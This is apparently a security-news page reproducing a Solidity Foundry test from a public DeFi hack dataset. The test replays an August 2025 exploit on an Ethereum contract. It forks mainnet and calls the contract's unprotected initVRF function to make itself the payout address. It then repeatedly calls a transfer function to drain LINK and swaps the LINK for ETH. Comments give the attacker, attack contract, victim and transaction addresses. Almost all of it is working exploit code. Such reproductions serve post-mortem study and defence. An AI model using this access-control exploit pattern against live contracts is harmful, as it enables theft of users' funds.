Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/0xf340_exp.sol

Public reproduction file for dataset entry 0xf340.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/0xf340_exp.sol71 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 4k USD
8// Attacker : https://etherscan.io/address/0xda97a086fc74b20c88bd71e12e365027e9ec2d24
9// Attack Contract : https://etherscan.io/address/0xd76c5305d0672ce5a2cdd1e8419b900410ea1d36
10// Vulnerable Contract : https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436
11// Attack Tx : https://etherscan.io/tx/0x103b4550a1a2bdb73e3cb5ea484880cd8bed7e4842ecdd18ed81bf67ed19e03c
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436#code
16// @Analysis
17// Post-mortem : https://t.me/defimon_alerts/1733
18// Twitter Guy : N/A
19// Hacking God : https://t.me/defimon_alerts/1733
21contract Contract0xf340 is BaseTestWithBalanceLog {
22 uint256 blocknumToForkFrom = 23232613 - 1;
24 IWETH weth = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
25 IERC20 link = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
26 Ivictim victim = Ivictim(0xF340bd3eB3E82994CfF5B8C3493245EDbcE63436);
27 IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
29 function setUp() public {
30 vm.createSelectFork("mainnet", blocknumToForkFrom);
31 fundingToken = address(0);
32 }
34 function testExploit() public balanceLog {
36 //The victim contract (0xf340) lacks access control in its initVRF function allowing
37 //an attacker to set an address into storage and calling the function 0x607d60e6 with
38 //a 0 ether value which transfers LINK to that address set by the attacker.
39 victim.initVRF(address(this), address(link));
41 uint256 slot = 0 ether;
42 for (uint256 i = 0; i < 80; i++) {
43 (bool success, ) = address(victim).call(
44 abi.encodeWithSelector(
45 bytes4(0x607d60e6),
46 slot
47 )
48 );
49 require(success, "call failed");
50 }
52 uint256 attackerLinkBal = link.balanceOf(address(this));
53 link.approve(address(router), attackerLinkBal);
55 address[] memory path = new address[](2);
56 path[0] = address(link);
57 path[1] = address(weth);
58 router.swapExactTokensForETH(attackerLinkBal, 1, path, address(this), block.timestamp + 300);
61 }
63 fallback() external payable {}
66 interface Ivictim {
67 function initVRF(address arg0, address arg1) external;
70 }

Analysis

Dataset entry

Public Foundry test for “0xf340” (2025-08-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xda97a086fc74b20c88bd71e12e365027e9ec2d24

  • Attack Contract

    0xd76c5305d0672ce5a2cdd1e8419b900410ea1d36

  • Vulnerable Contract

    0xf340bd3eb3e82994cff5b8c3493245edbce63436

  • Attack Tx

    0x103b4550a1a2bdb73e3cb5ea484880cd8bed7e4842ecdd18ed81bf67ed19e03c

File record

Name
0xf340
Path
src/test/2025-08/0xf340_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6382fda766f40e1a9a7cd81be6acf2f502de0d61
Language
Solidity
Size
72 lines
Date
2025-08-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/0xf340_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6382fda766f40e1a9a7cd81be6acf2f502de0d61, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.